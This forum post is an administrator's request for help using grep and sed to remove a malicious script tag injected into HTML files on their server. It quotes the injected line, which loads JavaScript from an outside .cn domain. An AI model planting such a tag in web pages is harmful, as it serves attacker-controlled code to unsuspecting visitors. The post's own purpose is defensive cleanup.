On one of my servers, it appears that a bunch of html files got the following code added to it...
Quote:
<script src='http://b.rtbn2.cn/E/J.JS'></script></body></HTML>
|
I was going to try to remove this line using grep & sed... as sample
grep -lr -e 'apples' *.html | xargs sed -i 's/apples/oranges/g'
I can get the grep portion to work...
Code:
grep "<script src='http:\/\/b.rtbn2.cn\/E\/J.JS'[>][<]\/script[>]" *
But not the sed part ...
Any help would be appreciated...
DJ